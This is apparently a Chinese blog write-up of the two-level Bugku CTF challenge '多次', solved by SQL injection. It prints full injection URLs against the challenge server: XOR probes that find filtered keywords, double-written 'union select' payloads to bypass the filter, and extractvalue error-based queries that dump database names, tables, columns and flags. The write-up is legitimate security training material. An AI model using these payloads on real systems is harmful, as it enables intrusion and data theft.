bugku-多次

 

这题分为两个关卡,都是sql注入的。第一关是关键字and、or、union、select过滤,第二关是报错注入。

测试

进入第一关没有什么提示信息,但是url地址栏 ?id=1 可能存在注入

id=1' 会报错,后面加--+注释返回正常,确定存在SQL注入

?id=1'or 1=1--+ 也报错,可能存在过滤

尝试双写绕过,?id=1'oorr 1=1--+ 返回正常

 

异或注入

这时我们可以用异或注入来检测,异或即两个条件相同(同真或同假)即为假

http://123.206.87.240:9004/1ndex.php?id=1'^(length('and')!=0)--+

满足异或条件就正常返显,There is nothing.

不满足异或条件时,返回 Error! Error! Error!

可以测试出被过滤的字符串有:and,or,union,select

 

双写绕过

这时我们可以用双写绕过。

猜字段数
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2 --+ 正常
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3 --+ 报错

爆库
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,database() --+

爆表
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(table_name) from infoorrmation_schema.tables 
where table_schema="web1002-1"--+ (注意information_schema里也会过滤or)


爆列
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 
1,group_concat(column_name) from infoorrmation_schema.columns 
where table_schema="web1002-1" and table_name="flag1"--+

爆数据
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 
1,group_concat(flag1) from flag1--+

这是第一关的flag,不过是假的。因此我们只能爆出flag1中另一个address的数据

爆第二关地址
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 
1,group_concat(address) from flag1--+

 


 

 

当双写绕过和大小写绕过都没用时,这时我们需要用到报错注入

 

报错注入

爆字段数
http://123.206.87.240:9004/Once_More.php?id=1' order by 2--+ 正常
http://123.206.87.240:9004/Once_More.php?id=1' order by 3--+ 报错


爆库
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+


爆表
http://123.206.87.240:9004/Once_More.php?id=1' and 
(extractvalue(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables 
where table_schema="web1002-2"),0x7e)))--+


爆列
http://123.206.87.240:9004/Once_More.php?id=1' and 
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns 
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+

爆flag
http://123.206.87.240:9004/Once_More.php?id=1' and 
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+

最后flag就出来了。

第三关地址。想知道有什么自己去看吧~

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值